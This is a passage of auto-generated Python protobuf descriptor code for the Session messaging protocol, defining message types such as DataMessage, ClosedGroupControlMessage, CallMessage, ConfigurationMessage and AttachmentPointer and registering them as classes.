is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1857, serialized_end=1915, ) _DATAMESSAGE_OPENGROUPINVITATION = _descriptor.Descriptor( name='OpenGroupInvitation', full_name='signalservice.DataMessage.OpenGroupInvitation', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='url', full_name='signalservice.DataMessage.OpenGroupInvitation.url', index=0, number=1, type=9, cpp_type=9, label=2, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='signalservice.DataMessage.OpenGroupInvitation.name', index=1, number=3, type=9, cpp_type=9, label=2, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1917, serialized_end=1965, ) _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_KEYPAIRWRAPPER = _descriptor.Descriptor( name='KeyPairWrapper', full_name='signalservice.DataMessage.ClosedGroupControlMessage.KeyPairWrapper', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='publicKey', full_name='signalservice.DataMessage.ClosedGroupControlMessage.KeyPairWrapper.publicKey', index=0, number=1, type=12, cpp_type=9, label=2, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='encryptedKeyPair', full_name='signalservice.DataMessage.ClosedGroupControlMessage.KeyPairWrapper.encryptedKeyPair', index=1, number=2, type=12, cpp_type=9, label=2, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2295, serialized_end=2356, ) _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE = _descriptor.Descriptor( name='ClosedGroupControlMessage', full_name='signalservice.DataMessage.ClosedGroupControlMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='type', full_name='signalservice.DataMessage.ClosedGroupControlMessage.type', index=0, number=1, type=14, cpp_type=8, label=2, has_default_value=False, default_value=1, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='publicKey', full_name='signalservice.DataMessage.ClosedGroupControlMessage.publicKey', index=1, number=2, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='signalservice.DataMessage.ClosedGroupControlMessage.name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='encryptionKeyPair', full_name='signalservice.DataMessage.ClosedGroupControlMessage.encryptionKeyPair', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='members', full_name='signalservice.DataMessage.ClosedGroupControlMessage.members', index=4, number=5, type=12, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='admins', full_name='signalservice.DataMessage.ClosedGroupControlMessage.admins', index=5, number=6, type=12, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='wrappers', full_name='signalservice.DataMessage.ClosedGroupControlMessage.wrappers', index=6, number=7, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='expireTimer', full_name='signalservice.DataMessage.ClosedGroupControlMessage.expireTimer', index=7, number=8, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_KEYPAIRWRAPPER, ], enum_types=[ _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_TYPE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1968, serialized_end=2506, ) _DATAMESSAGE = _descriptor.Descriptor( name='DataMessage', full_name='signalservice.DataMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='body', full_name='signalservice.DataMessage.body', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='attachments', full_name='signalservice.DataMessage.attachments', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='group', full_name='signalservice.DataMessage.group', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='flags', full_name='signalservice.DataMessage.flags', index=3, number=4, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='expireTimer', full_name='signalservice.DataMessage.expireTimer', index=4, number=5, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profileKey', full_name='signalservice.DataMessage.profileKey', index=5, number=6, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='timestamp', full_name='signalservice.DataMessage.timestamp', index=6, number=7, type=4, cpp_type=4, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='quote', full_name='signalservice.DataMessage.quote', index=7, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='preview', full_name='signalservice.DataMessage.preview', index=8, number=10, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profile', full_name='signalservice.DataMessage.profile', index=9, number=101, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='openGroupInvitation', full_name='signalservice.DataMessage.openGroupInvitation', index=10, number=102, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='closedGroupControlMessage', full_name='signalservice.DataMessage.closedGroupControlMessage', index=11, number=104, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='syncTarget', full_name='signalservice.DataMessage.syncTarget', index=12, number=105, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_DATAMESSAGE_QUOTE, _DATAMESSAGE_PREVIEW, _DATAMESSAGE_LOKIPROFILE, _DATAMESSAGE_OPENGROUPINVITATION, _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE, ], enum_types=[ _DATAMESSAGE_FLAGS, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=985, serialized_end=2544, ) _CALLMESSAGE = _descriptor.Descriptor( name='CallMessage', full_name='signalservice.CallMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='type', full_name='signalservice.CallMessage.type', index=0, number=1, type=14, cpp_type=8, label=2, has_default_value=False, default_value=1, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='sdps', full_name='signalservice.CallMessage.sdps', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='sdpMLineIndexes', full_name='signalservice.CallMessage.sdpMLineIndexes', index=2, number=3, type=13, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='sdpMids', full_name='signalservice.CallMessage.sdpMids', index=3, number=4, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _CALLMESSAGE_TYPE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2547, serialized_end=2752, ) _CONFIGURATIONMESSAGE_CLOSEDGROUP = _descriptor.Descriptor( name='ClosedGroup', full_name='signalservice.ConfigurationMessage.ClosedGroup', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='publicKey', full_name='signalservice.ConfigurationMessage.ClosedGroup.publicKey', index=0, number=1, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='signalservice.ConfigurationMessage.ClosedGroup.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='encryptionKeyPair', full_name='signalservice.ConfigurationMessage.ClosedGroup.encryptionKeyPair', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='members', full_name='signalservice.ConfigurationMessage.ClosedGroup.members', index=3, number=4, type=12, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='admins', full_name='signalservice.ConfigurationMessage.ClosedGroup.admins', index=4, number=5, type=12, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2999, serialized_end=3129, ) _CONFIGURATIONMESSAGE_CONTACT = _descriptor.Descriptor( name='Contact', full_name='signalservice.ConfigurationMessage.Contact', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='publicKey', full_name='signalservice.ConfigurationMessage.Contact.publicKey', index=0, number=1, type=12, cpp_type=9, label=2, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='signalservice.ConfigurationMessage.Contact.name', index=1, number=2, type=9, cpp_type=9, label=2, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profilePicture', full_name='signalservice.ConfigurationMessage.Contact.profilePicture', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profileKey', full_name='signalservice.ConfigurationMessage.Contact.profileKey', index=3, number=4, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3131, serialized_end=3217, ) _CONFIGURATIONMESSAGE = _descriptor.Descriptor( name='ConfigurationMessage', full_name='signalservice.ConfigurationMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='closedGroups', full_name='signalservice.ConfigurationMessage.closedGroups', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='openGroups', full_name='signalservice.ConfigurationMessage.openGroups', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='displayName', full_name='signalservice.ConfigurationMessage.displayName', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profilePicture', full_name='signalservice.ConfigurationMessage.profilePicture', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profileKey', full_name='signalservice.ConfigurationMessage.profileKey', index=4, number=5, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='contacts', full_name='signalservice.ConfigurationMessage.contacts', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_CONFIGURATIONMESSAGE_CLOSEDGROUP, _CONFIGURATIONMESSAGE_CONTACT, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=2755, serialized_end=3217, ) _RECEIPTMESSAGE = _descriptor.Descriptor( name='ReceiptMessage', full_name='signalservice.ReceiptMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='type', full_name='signalservice.ReceiptMessage.type', index=0, number=1, type=14, cpp_type=8, label=2, has_default_value=False, default_value=1, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='timestamp', full_name='signalservice.ReceiptMessage.timestamp', index=1, number=2, type=4, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _RECEIPTMESSAGE_TYPE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3219, serialized_end=3322, ) _ATTACHMENTPOINTER = _descriptor.Descriptor( name='AttachmentPointer', full_name='signalservice.AttachmentPointer', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='id', full_name='signalservice.AttachmentPointer.id', index=0, number=1, type=6, cpp_type=4, label=2, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='contentType', full_name='signalservice.AttachmentPointer.contentType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='key', full_name='signalservice.AttachmentPointer.key', index=2, number=3, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='size', full_name='signalservice.AttachmentPointer.size', index=3, number=4, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='thumbnail', full_name='signalservice.AttachmentPointer.thumbnail', index=4, number=5, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='digest', full_name='signalservice.AttachmentPointer.digest', index=5, number=6, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='fileName', full_name='signalservice.AttachmentPointer.fileName', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='flags', full_name='signalservice.AttachmentPointer.flags', index=7, number=8, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='width', full_name='signalservice.AttachmentPointer.width', index=8, number=9, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='height', full_name='signalservice.AttachmentPointer.height', index=9, number=10, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='caption', full_name='signalservice.AttachmentPointer.caption', index=10, number=11, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='url', full_name='signalservice.AttachmentPointer.url', index=11, number=101, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _ATTACHMENTPOINTER_FLAGS, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3325, serialized_end=3561, ) _GROUPCONTEXT = _descriptor.Descriptor( name='GroupContext', full_name='signalservice.GroupContext', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='id', full_name='signalservice.GroupContext.id', index=0, number=1, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='type', full_name='signalservice.GroupContext.type', index=1, number=2, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='signalservice.GroupContext.name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='members', full_name='signalservice.GroupContext.members', index=3, number=4, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='avatar', full_name='signalservice.GroupContext.avatar', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='admins', full_name='signalservice.GroupContext.admins', index=5, number=6, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _GROUPCONTEXT_TYPE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=3564, serialized_end=3809, ) _ENVELOPE.fields_by_name['type'].enum_type = _ENVELOPE_TYPE _ENVELOPE_TYPE.containing_type = _ENVELOPE _TYPINGMESSAGE.fields_by_name['action'].enum_type = _TYPINGMESSAGE_ACTION _TYPINGMESSAGE_ACTION.containing_type = _TYPINGMESSAGE _CONTENT.fields_by_name['dataMessage'].message_type = _DATAMESSAGE _CONTENT.fields_by_name['callMessage'].message_type = _CALLMESSAGE _CONTENT.fields_by_name['receiptMessage'].message_type = _RECEIPTMESSAGE _CONTENT.fields_by_name['typingMessage'].message_type = _TYPINGMESSAGE _CONTENT.fields_by_name['configurationMessage'].message_type = _CONFIGURATIONMESSAGE _CONTENT.fields_by_name['dataExtractionNotification'].message_type = _DATAEXTRACTIONNOTIFICATION _CONTENT.fields_by_name['unsendMessage'].message_type = _UNSEND _DATAEXTRACTIONNOTIFICATION.fields_by_name['type'].enum_type = _DATAEXTRACTIONNOTIFICATION_TYPE _DATAEXTRACTIONNOTIFICATION_TYPE.containing_type = _DATAEXTRACTIONNOTIFICATION _DATAMESSAGE_QUOTE_QUOTEDATTACHMENT.fields_by_name['thumbnail'].message_type = _ATTACHMENTPOINTER _DATAMESSAGE_QUOTE_QUOTEDATTACHMENT.containing_type = _DATAMESSAGE_QUOTE _DATAMESSAGE_QUOTE.fields_by_name['attachments'].message_type = _DATAMESSAGE_QUOTE_QUOTEDATTACHMENT _DATAMESSAGE_QUOTE.containing_type = _DATAMESSAGE _DATAMESSAGE_PREVIEW.fields_by_name['image'].message_type = _ATTACHMENTPOINTER _DATAMESSAGE_PREVIEW.containing_type = _DATAMESSAGE _DATAMESSAGE_LOKIPROFILE.containing_type = _DATAMESSAGE _DATAMESSAGE_OPENGROUPINVITATION.containing_type = _DATAMESSAGE _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_KEYPAIRWRAPPER.containing_type = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE.fields_by_name['type'].enum_type = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_TYPE _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE.fields_by_name['encryptionKeyPair'].message_type = _KEYPAIR _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE.fields_by_name['wrappers'].message_type = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_KEYPAIRWRAPPER _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE.containing_type = _DATAMESSAGE _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_TYPE.containing_type = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE _DATAMESSAGE.fields_by_name['attachments'].message_type = _ATTACHMENTPOINTER _DATAMESSAGE.fields_by_name['group'].message_type = _GROUPCONTEXT _DATAMESSAGE.fields_by_name['quote'].message_type = _DATAMESSAGE_QUOTE _DATAMESSAGE.fields_by_name['preview'].message_type = _DATAMESSAGE_PREVIEW _DATAMESSAGE.fields_by_name['profile'].message_type = _DATAMESSAGE_LOKIPROFILE _DATAMESSAGE.fields_by_name['openGroupInvitation'].message_type = _DATAMESSAGE_OPENGROUPINVITATION _DATAMESSAGE.fields_by_name['closedGroupControlMessage'].message_type = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE _DATAMESSAGE_FLAGS.containing_type = _DATAMESSAGE _CALLMESSAGE.fields_by_name['type'].enum_type = _CALLMESSAGE_TYPE _CALLMESSAGE_TYPE.containing_type = _CALLMESSAGE _CONFIGURATIONMESSAGE_CLOSEDGROUP.fields_by_name['encryptionKeyPair'].message_type = _KEYPAIR _CONFIGURATIONMESSAGE_CLOSEDGROUP.containing_type = _CONFIGURATIONMESSAGE _CONFIGURATIONMESSAGE_CONTACT.containing_type = _CONFIGURATIONMESSAGE _CONFIGURATIONMESSAGE.fields_by_name['closedGroups'].message_type = _CONFIGURATIONMESSAGE_CLOSEDGROUP _CONFIGURATIONMESSAGE.fields_by_name['contacts'].message_type = _CONFIGURATIONMESSAGE_CONTACT _RECEIPTMESSAGE.fields_by_name['type'].enum_type = _RECEIPTMESSAGE_TYPE _RECEIPTMESSAGE_TYPE.containing_type = _RECEIPTMESSAGE _ATTACHMENTPOINTER_FLAGS.containing_type = _ATTACHMENTPOINTER _GROUPCONTEXT.fields_by_name['type'].enum_type = _GROUPCONTEXT_TYPE _GROUPCONTEXT.fields_by_name['avatar'].message_type = _ATTACHMENTPOINTER _GROUPCONTEXT_TYPE.containing_type = _GROUPCONTEXT DESCRIPTOR.message_types_by_name['Envelope'] = _ENVELOPE DESCRIPTOR.message_types_by_name['TypingMessage'] = _TYPINGMESSAGE DESCRIPTOR.message_types_by_name['Unsend'] = _UNSEND DESCRIPTOR.message_types_by_name['Content'] = _CONTENT DESCRIPTOR.message_types_by_name['KeyPair'] = _KEYPAIR DESCRIPTOR.message_types_by_name['DataExtractionNotification'] = _DATAEXTRACTIONNOTIFICATION DESCRIPTOR.message_types_by_name['DataMessage'] = _DATAMESSAGE DESCRIPTOR.message_types_by_name['CallMessage'] = _CALLMESSAGE DESCRIPTOR.message_types_by_name['ConfigurationMessage'] = _CONFIGURATIONMESSAGE DESCRIPTOR.message_types_by_name['ReceiptMessage'] = _RECEIPTMESSAGE DESCRIPTOR.message_types_by_name['AttachmentPointer'] = _ATTACHMENTPOINTER DESCRIPTOR.message_types_by_name['GroupContext'] = _GROUPCONTEXT _sym_db.RegisterFileDescriptor(DESCRIPTOR) Envelope = _reflection.GeneratedProtocolMessageType('Envelope', (_message.Message,), dict( DESCRIPTOR = _ENVELOPE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.Envelope) )) _sym_db.RegisterMessage(Envelope) TypingMessage = _reflection.GeneratedProtocolMessageType('TypingMessage', (_message.Message,), dict( DESCRIPTOR = _TYPINGMESSAGE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.TypingMessage) )) _sym_db.RegisterMessage(TypingMessage) Unsend = _reflection.GeneratedProtocolMessageType('Unsend', (_message.Message,), dict( DESCRIPTOR = _UNSEND, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.Unsend) )) _sym_db.RegisterMessage(Unsend) Content = _reflection.GeneratedProtocolMessageType('Content', (_message.Message,), dict( DESCRIPTOR = _CONTENT, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.Content) )) _sym_db.RegisterMessage(Content) KeyPair = _reflection.GeneratedProtocolMessageType('KeyPair', (_message.Message,), dict( DESCRIPTOR = _KEYPAIR, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.KeyPair) )) _sym_db.RegisterMessage(KeyPair) DataExtractionNotification = _reflection.GeneratedProtocolMessageType('DataExtractionNotification', (_message.Message,), dict( DESCRIPTOR = 